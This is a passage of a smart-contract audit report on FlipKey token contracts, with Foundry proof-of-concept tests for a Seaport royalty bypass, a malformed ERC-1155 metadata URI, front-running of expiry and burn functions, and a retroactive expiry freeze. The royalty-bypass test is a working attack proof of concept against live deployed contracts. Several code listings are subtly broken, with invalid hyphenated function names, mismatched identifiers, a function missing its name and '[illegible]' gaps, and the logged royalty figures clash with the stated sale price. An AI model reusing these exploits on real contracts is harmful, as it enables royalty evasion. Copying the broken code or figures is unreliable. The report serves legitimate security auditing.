/// PRODUCTION STATE: the deployed collection declares a non-zero royalty to
/// the deployed splitter, the filter is on, and Seaport is already
/// allowlisted. None of this is configured by the test.
function test_liveConfigIsAsClaimed() public view {
    (address receiver, uint256 amount) = ITEMS.royaltyInfo(ID, PRICE);
    assertEq(receiver, address(SPLITTER), "royalty routes to the live splitter");
    assertGt(amount, 0, "royalty must be non-zero");

    assertTrue(ITEMS.operatorFilterEnabled(), "filter is enabled in production");
    assertTrue(ITEMS.allowedOperator(SEAPORT), "Seaport is allowlisted in production");

    console.log("live royalty on a 1 ETH sale:", amount);
}

/// AUTHORSHIP: composing the order struct grants nothing. Only a signature
/// that recovers to `offerer` makes it fulfillable, so a third party cannot

```



```

/// author a sale of someone else's token. The evasion in this report is
/// therefore something the SELLER does, not something done to them.
function test_orderComposedByStrangerIsRejected() public {
    (, uint256 mallory) = makeAddrAndKey("mallory");

    // Byte-for-byte the same order as the attack below – same offerer, same
    // token, same consideration. Only the signing key differs.
    ConsiderationItem[] memory consideration = new ConsiderationItem[](1);
    consideration[0] = _native(PRICE, seller);

    Order memory forged = _buildOrderSignedBy(mallory, consideration);

    vm.prank(buyer);
    vm.expectRevert(); // Seaport: InvalidSigner
    seaport.fulfillOrder{value: PRICE}(forged, bytes32(0));

    // Nothing moved.
    assertEq(ITEMS.balanceOf(seller, ID), 1, "seller still holds the item");
    assertEq(ITEMS.balanceOf(buyer, ID), 0, "buyer got nothing");
}

/// CONTROL: a royalty-bearing order DOES pay the live splitter.
/// Without this, the zero measured below would prove nothing – it would be
/// consistent with a harness that simply never detects royalties.
function test_control_royaltyBearingOrderPaysSplitter() public {
    (, uint256 royalty) = ITEMS.royaltyInfo(ID, PRICE);
    uint256 splitterBefore = address(SPLITTER).balance;

    ConsiderationItem[] memory consideration = new ConsiderationItem[](2);
    consideration[0] = _native(PRICE - royalty, seller);
    consideration[1] = _native(royalty, address(SPLITTER)); // the royalty item

    // Build BEFORE pranking: _buildSignedOrder makes external calls, which
    // would otherwise consume the prank and leave this contract as fulfiller.
    Order memory order = _buildSignedOrder(consideration);

    vm.prank(buyer);
    seaport.fulfillOrder{value: PRICE}(order, bytes32(0));

    assertEq(
        address(SPLITTER).balance - splitterBefore, royalty, "splitter receives the royalty"
    );
    assertEq(ITEMS.balanceOf(buyer, ID), 1, "token transfers");
}

/// ATTACK: identical settlement path, royalty consideration simply omitted.
function test_attack_saleThroughAllowlistedSeaportPaysZeroRoyalty() public {
    (, uint256 declaredRoyalty) = ITEMS.royaltyInfo(ID, PRICE);

    address payee0 = SPLITTER.payee(0);
    address payee1 = SPLITTER.payee(1);
    uint256 splitterBefore = address(SPLITTER).balance;
    uint256 owed0Before = SPLITTER.releasable(payee0);
    uint256 owed1Before = SPLITTER.releasable(payee1);
    uint256 sellerBefore = seller.balance;

    // Sole consideration: the full price to the seller. No royalty item.
    ConsiderationItem[] memory consideration = new ConsiderationItem[](1);
    consideration[0] = _native(PRICE, seller);

    Order memory order = _buildSignedOrder(consideration);

    // Production filter state, unmodified by this test.
    assertTrue(ITEMS.operatorFilterEnabled(), "filter must be enabled");
    assertTrue(ITEMS.allowedOperator(SEAPORT), "Seaport must be allowlisted");

    vm.prank(buyer);
    seaport.fulfillOrder{value: PRICE}(order, bytes32(0));

```

```

// HARM 1: the token really did change hands – a completed secondary sale.
assertEq(ITEMS.balanceOf(buyer, ID), 1, "buyer received the item");
assertEq(ITEMS.balanceOf(seller, ID), 0, "seller gave up the item");

// HARM 2: the seller captured 100% of the sale price.
assertEq(seller.balance - sellerBefore, PRICE, "seller kept the full price");

// HARM 3: the live royalty stream received NOTHING.
assertEq(address(SPLITTER).balance - splitterBefore, 0, "royalty stream received zero");
assertEq(SPLITTER.releasable(payee0) - owed0Before, 0, "payee 0 owed nothing more");
assertEq(SPLITTER.releasable(payee1) - owed1Before, 0, "payee 1 owed nothing more");

console.log("sale price paid      :", PRICE);
console.log("declared royalty    :", declaredRoyalty);
console.log("royalty actually paid:", address(SPLITTER).balance - splitterBefore);
}
}

```

Result:

```

Ran 4 tests for POCFork/SeaportRoyaltyBypass.t.sol:SeaportRoyaltyBypassTest
[PASS] test_attack_saleThroughAllowListedSeaportPaysZeroRoyalty()
Logs:
  sale price paid      : 10000000000000000000
  declared royalty     : 10000000000000000000
  royalty actually paid: 0

[PASS] test_control_royaltyBearingOrderPaysSplitter()
[PASS] test_liveConfigIsAsClaimed()
Logs:
  live royalty on a 1 ETH sale: 10000000000000000000

[PASS] test_orderComposedByStrangerIsRejected()
Suite result: ok. 4 passed; 0 failed; 0 skipped

```

To reproduce:

```
FOUNDRY_PROFILE=pocfork forge test --match-contract SeaportRoyaltyBypass -vv
```

Why this needs its own profile. Seaport 1.6 protects itself against reentrancy using transient storage, the `TSTORE` instruction, which exists only from the Cancun upgrade onward. Foundry does not run a real chain, it emulates one at a chosen EVM version, and this project pins solc 0.8.20 so it defaults to Paris, which predates Cancun. On a Paris emulator `TSTORE` does not exist, so the moment Seaport reaches it the call aborts with `NotActivated`.

The bump changes nothing about what is tested. Because the PoC uses the live deployed contracts, their bytecode is already on chain, so none of the audited code is compiled or deployed here. The Solidity sources are imported only to give the test the function signatures to call. The sole thing solc 0.8.28 compiles is the test file itself.

```

[profile.pocfork]
test = "POCFork"
solc = "0.8.28"
evm_version = "cancun"

```

Recommendations

This issue can be fixed using one of the following two approaches. They differ mainly in coverage and cost, and they are not mutually exclusive. Implementation is left to the protocol team, what follows is the mechanism, what it costs, and what it does not cover.

Option 1 — Enforce at signing (the wallet refuses)

How it works. Today Alice signs her own order and nobody else is consulted. If her items sit in a FlipKey smart-contract wallet instead, Seaport cannot do a plain signature check, it has to ask that wallet whether the signature is

valid (EIP1271). The wallet answers "only if FlipKey signed too", and FlipKey signs only orders that carry the royalty. A royalty-free order is rejected before anything moves.

Cost. Cheapest by a wide margin. Your deployed collection does not change at all, which matters, because it is not upgradeable: any change to the transfer hook means a new collection and migrating every holder. Compatible with every marketplace.

Limits. Covers only items held in FlipKey wallets. A self-custody holder signs with their own key and you are never asked. Two side effects to accept deliberately: listing needs your signer online, and the power to refuse a royalty-free order is also the power to refuse any order.

Option 2 — Enforce at transfer (the token refuses)

How it works. Stop allowlisting Seaport outright. A router you own checks the order first, reading the royalty from your contract rather than trusting the order, then permits exactly the one transfer that order will produce. Seaport moving a token without that permission reverts, and because the revert lands mid-sale, the buyer's payment unwinds with it. The sale simply does not happen.

One trap. The permission must name the specific transfer and be consumed on first use. A plain "settlement in progress" flag is exploitable: when the item is delivered, the buyer's contract receives a callback and can run its own code while the flag is still set, dumping further items royalty-free. One cheap honest purchase would unlock unlimited evasion.

Cost. Highest. Needs a new collection and a holder migration. Buyers must fulfil through your router, so purchases made directly on other marketplaces fail, inherent rather than a flaw, since that is exactly the traffic that is not paying.

Limits. Wallet-to-wallet (OTC) transfers stay free by design, and a holder can move items into their own vault contract and sell the vault instead. Neither scales to casual volume, since both lack an order book and price discovery, so the leak is bounded rather than closed.

8.2 High Findings

[H-01] FlipKeyLicenseV4.sol :: uri() ignores ERC1155 {id} substitution and returns a malformed metadata URL

Description

`FlipKeyLicenseV4.uri()` is the ERC-1155 metadata entry point, and its signature is correct, `uri(uint256)` is the function defined by `IERC1155MetadataURI`. What is not standard is how it builds the string it returns:

```
function uri(uint256 tokenId) public view override returns (string memory) {  
    return string(abi.encodePacked(_baseUri, tokenId.toString()));  
}
```

This is the OpenZeppelin **ERC-721** idiom (base URI plus the decimal token ID) transplanted onto an ERC1155. ERC1155 resolves per-token metadata by a different mechanism. The standard states that if the substring `{id}` appears anywhere in the returned URI, clients MUST replace it with the token ID in hexadecimal form, lowercase, without a `0x` prefix, zero-padded to 64 characters.

A contract is therefore expected to store the `{id}` template once and return it unchanged for every token, letting the client perform the per-token substitution. `uri()` above is unaware of that mechanism: it ignores whether `_baseUri` is a template and unconditionally appends a decimal ID to the end of it.

The two mechanisms are not additive. When the stored base URI is a `{id}` template the conventional and documented way to configure an ERC1155 both fire, and the resulting URL carries the token ID twice, once as an unsubstituted placeholder in the middle and once as a decimal suffix at the end.

This is the case on the verified deployment, against a token that exists. Token `5000001` is minted, `totalSupply == 1`, state `HELD`, held by `0xC398A859E348903a42B6e24eB20521543c657A58`. Reading the live contracts on Base Sepolia:

```
FlipKeyLicenseV4.uri(5000001) → https://dev.flipkey.gg/metadata/token/flipkey-v1/{id}5000001  
FlipKeyItems1155.uri(5000001) → https://dev.flipkey.gg/metadata/token/flipkey-items/{id}
```

The metadata service itself rejects what that resolves to. Requesting the four candidate paths for token `5000001` separates two distinct error classes:

404	{"error": "Token not found"}	.../flipkey-v1/5000001	(decimal)
404	{"error": "Token not found"}	.../flipkey-v1/00000...004c4b41	(padded hex)
400	{"error": "Invalid token ID"}	.../flipkey-v1/00000...004c4b415000001	(what uri())
	yields, substituted)		
400	{"error": "Invalid token ID"}	.../flipkey-v1/%7Bid%7D5000001	(what uri())
	yields, unsubstituted)		

Both well-formed conventions parse and reach a lookup, they return "Token not found" only because this token's metadata record is not populated yet. Both forms the contract actually produces are rejected as malformed before any lookup occurs. The failure is therefore not a missing data problem that will resolve when the backend is filled in; the string `uri()` leads to is structurally invalid input to the service that is supposed to serve it.

Both contracts are configured with the standard `{id}` template, so that convention is the deployment's intent. `FlipKeyItems1155` does not override `uri()`, inherits the OpenZeppelin implementation, and returns the template untouched, a client substitutes and resolves the correct per-token URL. `FlipKeyLicenseV4` overrides

`uri()`, appends the decimal ID after the template, and returns `{id}1`, which does not resolve under any client behaviour:

- [illegible]

Every license token is affected, since `_baseUri` is shared by all IDs. The consequence is confined to off-chain metadata resolution. The consumers that are affected are wallets, block explorers, and indexer APIs, all of which call `uri()` and render whatever comes back.

Proof of Concept

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {ERC1155} from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";

import {FlipKeyLicenseV4} from "../contracts/FlipKeyLicenseV4.sol";

/// Reference ERC-1155 with no uri() override – what FlipKeyLicenseV4 behaves
/// like once the override is removed per the report's recommendation.
contract StandardERC1155 is ERC1155 {
    constructor(string memory baseUri_) ERC1155(baseUri_) {}
}

/**
 * @title Fork PoC: the LIVE FlipKeyLicenseV4 on Base Sepolia returns a
 * malformed metadata URI for real token 5000001, and both remediations
 * fix it against production state
 *
 * @notice This runs against the deployed contract, not a local re-deploy:
 *
 * FlipKeyLicenseV4 0xAE332eb88425D6373aB5029a4a2756665f945160
 * admin (sole)    0x604b7c5F56fccEe771cBC14C4f2Bccf285e124B1
 * token          5000001 (totalSupply 1, state HELD)
 *
 * The malformed URI is not inferred from source – it is read off chain.
 * The metadata service's own responses for token 5000001 classify the
 * four candidate paths into two groups:
 *
 * 404 {"error":"Token not found"} .../5000001 (decimal)
 * 404 {"error":"Token not found"} .../00000...004c4b41 (padded hex)
 * 400 {"error":"Invalid token ID"} .../00000...004c4b415000001
 * 400 {"error":"Invalid token ID"} .../%7Bid%7D5000001
 *
 * Both well-formed conventions parse and reach a lookup. Both forms the
 * contract actually produces are rejected as malformed before lookup.
 * The assertions below use that 400/404 boundary as the pass criterion:
 * a URI is "well-formed" iff its ID segment is a single parseable token.
 *
 * @dev RPC. Defaults to the endpoint supplied for this review; override with
 * BASE_SEPOLIA_RPC_URL to use your own. NOTE: the default embeds an
 * Infura project key. Move it to an env var before sharing this bundle.
 *
 * The fork is pinned to block 44819997 so the evidence is reproducible
 * and survives any later remediation of the live base URI. Pinning needs
 * archive state for that block; if the provider no longer serves it,
 * drop the block argument in setUp() to fork at latest.
 *
 * Run: FOUNDRY_PROFILE=poc forge test --match-contract UriMalformedOnBaseSepoliaFork
 */
```

```

- VVV
*/
contract UriMalformedOnBaseSepoliaFork is Test {
    FlipKeyLicenseV4 internal constant LICENSE =
        FlipKeyLicenseV4(0xAE332eb88425D6373aB5029a4a2756665f945160);

    address internal constant ADMIN = 0x604b7c5F56fccEe771cBC14C4f2Bccf285e124B1;

    uint256 internal constant TOKEN_ID = 5000001;
    uint256 internal constant FORK_BLOCK = 44819997;

    string internal constant DEFAULT_RPC =
        "YOUR RPC";

    /// The directory the substituted ID is supposed to land in.
    string internal constant DIR = "https://dev.flipkey.gg/metadata/token/flipkey-v1/";

    function setUp() public {
        vm.createSelectFork(vm.envOr("BASE_SEPOLIA_RPC_URL", DEFAULT_RPC), FORK_BLOCK);
    }

    /*/////////////////////////////////////////////////////////////////
        1. THE TOKEN IS REAL
    //////////////////////////////////////////////////////////////////////////*/

    function test_fork-TokenExistsOnChain() public view {
        assertTrue(LICENSE.exists(TOKEN_ID), "token 5000001 should exist on the fork");
        assertEquals(LICENSE.totalSupply(TOKEN_ID), 1, "expected supply 1");

        // State.HELD == 1 in the lifecycle enum.
        assertEquals(uint256(LICENSE.tokenState(TOKEN_ID)), 1, "expected HELD");

        console.log("holder: %s", LICENSE.mintedTo(TOKEN_ID));
    }

    /*/////////////////////////////////////////////////////////////////
        2. THE LIVE CONTRACT RETURNS A MALFORMED URI
    //////////////////////////////////////////////////////////////////////////*/

    /// Read straight off the deployed contract: the stored {id} template with a
    /// decimal ID appended, so the ID appears twice.
    function test_fork-LiveUriIsMalformed() public view {
        string memory live = LICENSE.uri(TOKEN_ID);

        assertEquals(live, string.concat(DIR, "{id}", "5000001"), "unexpected live uri");

        // Two IDs in one path: an unsubstituted placeholder and a decimal suffix.
        assertTrue(_contains(live, "{id}"), "placeholder should still be present");
        assertTrue(_endsWith(live, "5000001"), "decimal suffix should be appended");

        console.log("live uri(5000001) = %s", live);
    }

    /// After the spec-mandated substitution, the ID segment is 64 hex characters
    /// followed by 7 decimal digits – 71 characters, not parseable as one ID.
    /// This is the exact string the metadata service answers with HTTP 400
    /// {"error":"Invalid token ID"}.
    function test_fork-ResolvedPathIsRejectedShape() public view {
        string memory resolved = _resolveSpec(LICENSE.uri(TOKEN_ID), TOKEN_ID);
        string memory correct = string.concat(DIR, _padHex64(TOKEN_ID));

        assertTrue(!_eq(resolved, correct), "resolved unexpectedly matched the correct path");
        assertEquals(resolved, string.concat(correct, "5000001"), "unexpected corruption shape");

        // The ID segment must be a single parseable token to clear the 400 gate.
        assertEquals(_idSegment(resolved).length, 64 + 7, "expected an over-long ID segment");
        assertFalse(_isWellFormedIdSegment(resolved), "resolved path should be malformed");

        console.log("correct (404 not-found) : %s", correct);
    }
}

```

```

    console.log("actual (400 invalid) : %s", resolved);
}

/*//////////////////////////////////////////////////////////////////
   3. SOLUTION A – CONFIG ONLY, ON THE LIVE CONTRACT
   //////////////////////////////////////////////////////////////////////*/

/// The real admin repoints the base URI at a plain prefix. No redeploy, no
/// code change. The contract's own decimal append then supplies the only ID.
function test_fork_SolutionA_AdminSetsPlainPrefix() public {
    assertFalse(_isWellFormedIdSegment(_resolveSpec(LICENSE.uri(TOKEN_ID), TOKEN_ID)),
"precondition");

    vm.prank(ADMIN);
    LICENSE.setBaseURI(DIR);

    string memory fixed_ = LICENSE.uri(TOKEN_ID);

    assertEquals(fixed_, string.concat(DIR, "5000001"), "expected a plain decimal path");
    assertFalse(_contains(fixed_, "{id}"), "placeholder should be gone");

    // Decimal is one of the two shapes the service accepts as well-formed.
    assertTrue(_isWellFormedIdSegment(fixed_), "fixed path should be well-formed");
    assertEquals(_idSegment(fixed_).length, 7, "expected the 7-digit decimal ID");

    console.log("after admin setBaseURI: %s", fixed_);
}

/// Guard on Solution A: only the admin can apply it.
function test_fork_SolutionA_RequiresAdmin() public {
    vm.prank(address(0xBEEF));
    vm.expectRevert();
    LICENSE.setBaseURI(DIR);
}

/*//////////////////////////////////////////////////////////////////
   4. SOLUTION B – REMOVE THE OVERRIDE (STANDARD BEHAVIOUR)
   //////////////////////////////////////////////////////////////////////*/

/// What the contract would return with the uri() override removed: the
/// template untouched, which a client substitutes into the padded-hex path –
/// the other shape the service accepts. Requires a redeploy, but keeps the
/// licence contract on the same convention as an unmodified ERC-1155.
function test_fork_SolutionB_StandardImplementationResolvesCleanly() public {
    StandardErc1155 stdImpl = new StandardErc1155(string.concat(DIR, "{id}"));

    // Template returned verbatim, for every id – no decimal append.
    assertEquals(stdImpl.uri(TOKEN_ID), string.concat(DIR, "{id}"));
    assertEquals(stdImpl.uri(0), string.concat(DIR, "{id}"));

    string memory resolved = _resolveSpec(stdImpl.uri(TOKEN_ID), TOKEN_ID);

    assertEquals(resolved, string.concat(DIR, _padHex64(TOKEN_ID)), "should hit the padded-hex
path");
    assertTrue(_isWellFormedIdSegment(resolved), "should be well-formed");
    assertEquals(_idSegment(resolved).length, 64, "expected a 64-char hex ID");

    console.log("standard impl resolves to: %s", resolved);
}

/*//////////////////////////////////////////////////////////////////
   ERC-1155 CLIENT + PATH HELPERS
   //////////////////////////////////////////////////////////////////////*/

/// EIP-1155: replace "{id}" with the ID as lowercase hex, no 0x prefix,
/// zero-padded to 64 characters.
function _resolveSpec(string memory uri_, uint256 id) internal pure returns (string memory) {
    bytes memory h = bytes(uri_);
    uint256 at = _indexOf(h, bytes("{id}"));

```

```

    if (at == type(uint256).max) return uri_;

    bytes memory head = new bytes(at);
    for (uint256 i = 0; i < at; i++) head[i] = h[i];

    uint256 tailStart = at + 4;
    bytes memory tail = new bytes(h.length - tailStart);
    for (uint256 i = 0; i < tail.length; i++) tail[i] = h[tailStart + i];

    return string(abi.encodePacked(head, _padHex64(id), tail));
}

function _padHex64(uint256 v) internal pure returns (string memory) {
    bytes memory digits = "0123456789abcdef";
    bytes memory out = new bytes(64);
    for (uint256 i = 0; i < 64; i++) {
        out[63 - i] = digits[v & 0xf];
        v >>= 4;
    }
    return string(out);
}

/// The final path segment – what the metadata route parses as the token ID.
function _idSegment(string memory url) internal pure returns (bytes memory) {
    bytes memory b = bytes(url);
    uint256 lastSlash = 0;
    for (uint256 i = 0; i < b.length; i++) {
        if (b[i] == "/") lastSlash = i;
    }

    bytes memory seg = new bytes(b.length - lastSlash - 1);
    for (uint256 i = 0; i < seg.length; i++) seg[i] = b[lastSlash + 1 + i];
    return seg;
}

/// Models the service's 400 gate: the ID segment must be a single parseable
/// token – all decimal (<= 78 digits) or all hex (<= 64 chars) – with no
/// stray characters and no concatenation of two encodings.
function _isWellFormedIdSegment(string memory url) internal pure returns (bool) {
    bytes memory s = _idSegment(url);
    if (s.length == 0) return false;

    bool allDec = true;
    bool allHex = true;
    for (uint256 i = 0; i < s.length; i++) {
        bytes1 c = s[i];
        bool isDec = (c >= "0" && c <= "9");
        bool isHex = isDec || (c >= "a" && c <= "f");
        if (!isDec) allDec = false;
        if (!isHex) allHex = false;
    }

    if (allDec && s.length <= 78) return true; // decimal id
    if (allHex && s.length <= 64) return true; // hex id
    return false; // braces, or 64-hex + decimal
}

function _indexOf(bytes memory h, bytes memory n) internal pure returns (uint256) {
    if (n.length == 0 || n.length > h.length) return type(uint256).max;

    for (uint256 i = 0; i + n.length <= h.length; i++) {
        bool hit = true;
        for (uint256 j = 0; j < n.length; j++) {
            if (h[i + j] != n[j]) { hit = false; break; }
        }
        if (hit) return i;
    }
    return type(uint256).max;
}

```



```
function _contains(string memory hay, string memory needle) internal pure returns (bool) {
    return _indexOf(bytes(hay), bytes(needle)) != type(uint256).max;
}

function _endsWith(string memory hay, string memory suffix) internal pure returns (bool) {
    bytes memory h = bytes(hay);
    bytes memory s = bytes(suffix);
    if (s.length > h.length) return false;

    for (uint256 i = 0; i < s.length; i++) {
        if (h[h.length - s.length + i] != s[i]) return false;
    }
    return true;
}

function _eq(string memory a, string memory b) internal pure returns (bool) {
    return keccak256(bytes(a)) == keccak256(bytes(b));
}
```

[illegible]

Recommendations

There are two independent ways to build a per-token URL, and the contract currently uses both at once, which is what produces the duplicated ID:

Mechanism	Who builds the URL	Base URI to store	Result for token 5000001
{id} substitution	the client (wallet, explorer)	.../flipkey-v1/{id}	.../flipkey-v1/000...04c4b41
Decimal append in uri()	the contract	.../flipkey-v1/	.../flipkey-v1/5000001

Either one works on its own. The fix is to pick one and disable the other.

Option A: keep {id} substitution, remove the append (recommended)

Delete the `uri()` override so the contract inherits the OpenZeppelin implementation and returns the stored template unchanged, letting the client substitute. This is the standard-compliant behaviour and puts `FlipKeyLicenseV4` on the same convention as `FlipKeyItems1155`.

```
- import "@openzeppelin/contracts/Utils/Strings.sol";

contract FlipKeyLicenseV4 is ERC1155, ERC1155Supply, AccessControlEnumerable, ERC2981, Pausable,
ReentrancyGuard {
```

```

-   using Strings for uint256;

-   string private _baseUri;

    constructor(
        string memory baseUri_,
        ...
    ) ERC1155(baseUri_) {
-       _baseUri = baseUri_;
        _contractUri = contractUri_;

-       function uri(uint256 tokenId) public view override returns (string memory) {
-           return string(abi.encodePacked(_baseUri, tokenId.toString()));
-       }

-       function setBaseURI(string memory baseUri_) external onlyRole(DEFAULT_ADMIN_ROLE) {
-           _baseUri = baseUri_;
+           _setURI(baseUri_);
        }
    }

```

The constructor already passes `baseUri_` into `ERC1155(baseUri_)`, so OpenZeppelin is storing the URI already and `_baseUri` is a redundant second copy. Once the override is gone, `_baseUri`, the `Strings` import and the `using` directive have no remaining consumer, so they are removed too, and `setBaseURI` writes OpenZeppelin's storage via `_setURI()` instead. `_contractUri` and `contractURI()` are unaffected.

Option B: keep the append, remove `{id}` from the config

Set a base URI with no `{id}` placeholder, so the contract's existing append supplies the ID by itself.

```

setBaseURI("https://dev.flipkey.gg/metadata/token/flipkey-v1/")
→ uri(50000001) == "https://dev.flipkey.gg/metadata/token/flipkey-v1/50000001"

```

The trade-off is that licenses stay on decimal IDs while items stay on 64-character padded hex, so the metadata backend must serve both conventions permanently. That is viable as shown above, the service already accepts both shapes as well-formed, so the choice can be made on code-consistency grounds rather than being constrained by the backend.

8.3 Medium Findings

[M-01] FlipKeyLicenseV4.sol :: permissionless expireHeld() can be front-run against activate(), destroying a license after the key was delivered

Description

`expireHeld()` is callable by anyone once `holdDeadline` has passed, and it burns the token into the terminal `REFUNDED` state:

```
function expireHeld(uint256 tokenId) external {
    if (tokenState[tokenId] != State.HELD)
        revert WrongState(tokenId, tokenState[tokenId], State.HELD);
    uint256 dl = holdDeadline[tokenId];
    if (dl == 0) revert HeldHasNoDeadline(tokenId);
    if (block.timestamp <= dl) revert HeldNotExpired(tokenId);
    ...
    _burn(holder, tokenId, 1);
    tokenState[tokenId] = State.REFUNDED;
```

`activate()` requires the same `State.HELD` precondition, so the two functions race for the identical state. Both `holdDeadline` and the relayer's pending `activate()` transaction are publicly observable, so the race is trivially winnable: any address can watch the mempool and land `expireHeld()` first, making `activate()` revert with `WrongState`.

To better understand the issue, let's walk through an example:

1. A license is minted `HELD` to the buyer with `holdDeadline = T`.
2. The deadline passes at `T` without activation (normal backend latency, a queue backlog, or a paused inflow window).
3. The publisher delivers the key off-chain and the backend broadcasts `activate(tokenId, holder, ...)`.
4. The attacker sees the pending `activate()` and submits `expireHeld(tokenId)` with a higher fee.
5. `expireHeld()` lands first: the token is burned and set to `REFUNDED`; `activate()` reverts with `WrongState`.
6. The backend observes `RefundExecuted(..., HeldExpired)` and refunds the buyer, who already holds the delivered key.

Recommendations

Restrict `expireHeld()` so it cannot be used by an arbitrary third party to win this race, allow only the token holder or a trusted role to call it.

```
-function expireHeld(uint256 tokenId) external {
+function expireHeld(uint256 tokenId) external {
+    if (msg.sender != mintedTo[tokenId] && !hasRole(REFUND_ADMIN_ROLE, msg.sender))
+        revert NotHolder(tokenId, msg.sender);
```

[M-02] FlipKeyLicenseV4.sol :: finalizeBurn() can be used to front-run disputeRefund()

Description

`finalizeBurn` has no caller restriction. Once the grace period on an activated license has elapsed, anyone can call it against any token, and it moves that token into a terminal state the refund path does not accept. Since `disputeRefund` is the buyer's only remaining route to a refund at that point, an attacker who frontruns it permanently prevents the buyer from receiving their USD back.

The two functions are live against the same token at the same moment. `disputeRefund` is restricted to the refund admin role and accepts only two states:

```
function(uint256 tokenId, address holder) external onlyRole(REFUND_ADMIN_ROLE) {
    State s = tokenState[tokenId];
    if (s != State.HELD && s != State.ACTIVATED)
        revert InvalidRefundState(tokenId, s);
    if (balanceOf(holder, tokenId) < 1)
        revert InsufficientBalance(tokenId, holder);
    if (s == State.ACTIVATED && holder != activatedHolder[tokenId])
        revert NotHolder(tokenId, holder);
    _burn(holder, tokenId, 1);
    tokenState[tokenId] = State.REFUNDED;
    emit RefundExecuted(tokenId, holder, RefundReason.Dispute);
}
```

`finalizeBurn` is open to every address, and its only precondition is the very condition that opens the dispute window:

```
function finalizeBurn(uint256 tokenId) external {
    if (tokenState[tokenId] != State.ACTIVATED)
        revert WrongState(tokenId, tokenState[tokenId], State.ACTIVATED);
    if (block.timestamp <= graceUntil[tokenId])
        revert GraceNotExpired(tokenId);
    address holder = activatedHolder[tokenId];
    _burn(holder, tokenId, 1);
    tokenState[tokenId] = State.FINALIZED;
    emit Finalized(tokenId, holder);
}
```

To better understand this, let's look at an example:

The buyer holds an `ACTIVATED` token whose grace has elapsed, so both functions are callable against it.

1. The backend broadcasts `disputeRefund` for that token under the refund admin role. The pending transaction carries the token id in plain sight.
2. The attacker submits `finalizeBurn` for the same token id with a higher priority fee. There is no caller check to satisfy and the grace precondition is already met.
3. `finalizeBurn` lands first. It burns the buyer's token, writes `FINALIZED`, and emits `Finalized`.
4. The refund transaction executes next and reverts with `InvalidRefundState`, because `disputeRefund` accepts only `HELD` or `ACTIVATED`.
5. No retry is possible. `FINALIZED` is written at that single line and read by no function, so nothing accepts it as an input state and no path returns the token to `ACTIVATED`. The token is burned, so the balance check could not pass either.
6. The buyer never receives their money. The backend sends the USD return on the `RefundExecuted` event, which never fires. `Finalized` fires instead, the record for a settled purchase with no refund owed.

Recommendations

Restrict `finalizeBurn` to the token owner.

```
function finalizeBurn(uint256 tokenId) external {
    if (tokenState[tokenId] != State.ACTIVATED)
        revert WrongState(tokenId, tokenState[tokenId], State.ACTIVATED);
    if (block.timestamp <= graceUntil[tokenId])
        revert GraceNotExpired(tokenId);
    address holder = activatedHolder[tokenId];
    if (msg.sender != mintedTo[tokenId] && !hasRole(REFUND_ADMIN_ROLE, msg.sender))
+   revert NotHolder(tokenId, msg.sender);
    _burn(holder, tokenId, 1);
    tokenState[tokenId] = State.FINALIZED;
    emit Finalized(tokenId, holder);
}
```

[M-03] FlipKeyItems1155.sol :: a minter can attach an expiry to an already circulating type, freezing every existing holder

Description

Expiry is per-type and write-once: the first non zero value sets it. Nothing requires that first value to arrive before the type is issued.

```
function _applyExpiry(uint256 tokenId, uint256 expiresAt_) private {
    if (expiresAt_ == 0) return;
    if (expiresAt_ <= block.timestamp) revert InvalidExpiration();
    uint256 existing = _expiresAt[tokenId];
    if (existing == 0) {
        _expiresAt[tokenId] = expiresAt_; // <-- no supply check
        emit ExpirationSet(tokenId, expiresAt_);
    } else if (existing != expiresAt_) {
        revert ExpirationConflict(tokenId, existing, expiresAt_);
    }
}
```

A type minted with `expiresAt_ = 0` circulates with `expiration() == 0`, which the contract documents as never expires. It stays at `existing == 0` indefinitely, so any later mint, one unit is enough, carrying a non zero timestamp writes an expiry onto the whole type. Expiry is a property of the `id`, not of a balance, so it applies retroactively to every holder who already bought in. Past that deadline their tokens are permanently non-transferable, and can be burned using `burnExpired()`.

Proof of Concept

`mintWithExpiry` attaches a deadline to a type that already circulates. Bob buys a position the contract reports as never expiring; a later one unit mint by the same minter gives the type a one day expiry; bob's whole position is then frozen and burned without him acting at all.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";

import {FlipKeyItems1155} from "../contracts/FlipKeyItems1155.sol";

contract RetroactiveExpiryFreezesCirculatingHoldersTest is Test {
    FlipKeyItems1155 internal items;

    address internal admin = makeAddr("admin");
    address internal relayer = makeAddr("relayer"); // holds MINTER_ROLE only

    address internal alice = makeAddr("alice"); // original buyer
    address internal bob = makeAddr("bob"); // secondary buyer, holds at freeze time
    address internal carol = makeAddr("carol"); // buyer bob can no longer sell to
    address internal sink = makeAddr("sink"); // recipient of the minter's own dust mint

    uint256 internal constant TOKEN_ID = 1;
    uint256 internal constant AMOUNT = 100;

    function setUp() public {
        vm.warp(1_700_000_000); // realistic starting timestamp

        items = new FlipKeyItems1155(
            admin,
            "FlipKey Items",
            "https://flipkey.gg/items/",
            "https://flipkey.gg/items/contract.json",

```

```

        makeAddr("royaltyReceiver"),
        500
    );

    // Cache the role id first: `vm.prank` applies to the very next call, and a
    // nested `items.MINTER_ROLE()` would consume it before `grantRole` runs.
    bytes32 minterRole = items.MINTER_ROLE();
    vm.prank(admin);
    items.grantRole(minterRole, relayer);
}

// -----
// A type sold as perpetual (`expiration() == 0`, documented "never expires")
// is later given an expiry by a plain MINTER_ROLE mint. Every existing
// holder's balance becomes permanently non-transferable and admin-burnable.
// -----
function test_minterRetroactivelyExpiresACirculatingPerpetualType() public {
    // — The type is issued as perpetual: expiresAt_ = 0.
    vm.prank(relayer);
    items.mintWithExpiry(alice, TOKEN_ID, AMOUNT, 0);

    // — On-chain due diligence says the type never expires.
    assertEquals(items.expiration(TOKEN_ID), 0, "expiration() reports 'never expires'");
    assertFalse(items.isExpired(TOKEN_ID), "type is not expired");

    // — It circulates: alice sells her whole position to bob on the secondary.
    vm.prank(alice);
    items.safeTransferFrom(alice, bob, TOKEN_ID, AMOUNT, "");
    assertEquals(items.balanceOf(bob, TOKEN_ID), AMOUNT, "bob bought the position");

    console.log("--- bob buys a type the contract says never expires ---");
    console.log("expiration(TOKEN_ID)           :", items.expiration(TOKEN_ID));
    console.log("bob balance                       :", items.balanceOf(bob, TOKEN_ID));

    // — The soulbound flag REFUSES to retro-freeze a type that already
    //   circulates. This guard is the authors' own stated position that a
